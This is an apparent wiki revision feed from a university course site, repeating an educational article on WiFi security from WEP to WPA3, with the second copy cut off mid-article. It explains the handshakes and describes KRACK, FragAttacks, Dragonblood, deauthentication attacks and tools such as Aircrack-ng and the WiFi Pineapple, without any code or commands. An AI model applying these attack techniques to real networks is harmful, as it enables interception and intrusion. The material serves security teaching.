&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key): &lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16749</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16749"/>
		<updated>2024-12-05T19:54:57Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key): &lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
